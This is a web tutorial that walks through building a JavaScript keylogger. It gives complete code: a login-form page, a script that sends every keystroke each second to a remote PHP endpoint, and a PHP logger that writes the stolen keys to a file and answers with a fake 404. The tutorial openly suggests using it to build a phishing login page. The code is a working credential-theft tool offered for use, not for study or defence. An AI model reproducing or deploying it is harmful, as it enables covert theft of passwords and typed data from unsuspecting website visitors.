Tutorials

JavaScript Keylogger Tutorial | How to Make a Simple Keylogger in JavaScript

JavaScript keylogger is a tool that enables us to see what a user has typed on his/her keyboard. Today, I will show you how to make a simple keylogger using JavaScript.

Basically, our JavaScript Keylogger will capture the keystrokes of users in a text file. We can then review this text file to look at what the user has typed on the keyboard.

You can also put this script on your website to make a phishing website login page.

JavaScript Keylogger

index.html

For the sake of this tutorial, I created a complete HTML web page including a login form. But, you just need to load the keylogger.js file using the HTML <script> tag. You can design your HTML web page however you like.

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>JavaScript Keylogger</title>
    <script src="./keylogger.js"></script>
</head>

<body>
    <form>
        <div class="login">
            <h1>Account Login Form</h1>
            <input type="email" placeholder="Username" ><br><br>
            <input type="password" placeholder="Password"><br><br>
            <button type="submit">Login</button>
        </div>
    </form>
</body>

</html>

keylogger.js

Note:- Replace the value of url variable with your website link where the keylogger.php is located.

var keys='';
var url = 'https://www.edopedia.com/keylogger.php?c=';

document.onkeypress = function(e) {
 get = window.event?event:e;
 key = get.keyCode?get.keyCode:get.charCode;
 key = String.fromCharCode(key);
 keys+=key;
}
window.setInterval(function(){
 if(keys.length>0) {
  new Image().src = url+keys;
  keys = '';
 }
}, 1000);

keylogger.php

<html>

<?php

header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, *');

$file = 'data.txt';

if(isset($_REQUEST['c']) && !empty($_REQUEST['c']))
{
 file_put_contents($file, $_REQUEST['c'], FILE_APPEND);
 printf("LOGGED!");
}

?>

</html>

data.txt

Our JavaScript Keylogger will store the keystrokes in a file called “data.txt”. So, let’s create an empty “data.txt” file on your server.

Now, whenever the visitor types something using the keyboard on your website then the JavaScript will automatically send each keystroke to the PHP file on the server and our PHP code will store the keystrokes inside the “data.txt” file.

Furqan

Well. I've been working for the past three years as a web designer and developer. I have successfully created websites for small to medium sized companies as part of my freelance career. During that time I've also completed my bachelor's in Information Technology.

Recent Posts

ChatGPT Atlas vs Google Chrome: Which Browser Should You Choose in 2025?

Google Chrome has dominated web browsing for over a decade with 71.77% global market share.…

October 25, 2025

Is Perplexity Comet Browser Worth It? The Honest 2025 Review

Perplexity just made its AI-powered browser, Comet, completely free for everyone on October 2, 2025.…

October 25, 2025

Is ChatGPT Atlas Worth It? A Real Look at OpenAI’s New Browser

You've probably heard about ChatGPT Atlas, OpenAI's new AI-powered browser that launched on October 21,…

October 25, 2025

Perplexity Comet Browser Alternatives: 7 Best AI Browsers in 2025

Perplexity Comet became free for everyone on October 2, 2025, bringing research-focused AI browsing to…

October 25, 2025

ChatGPT Atlas Alternatives: 7 Best AI Browsers in 2025

ChatGPT Atlas launched on October 21, 2025, but it's only available on macOS. If you're…

October 25, 2025

ChatGPT Atlas vs Comet Browser: Best AI Browser in 2025?

Two AI browsers just entered the ring in October 2025, and they're both fighting for…

October 25, 2025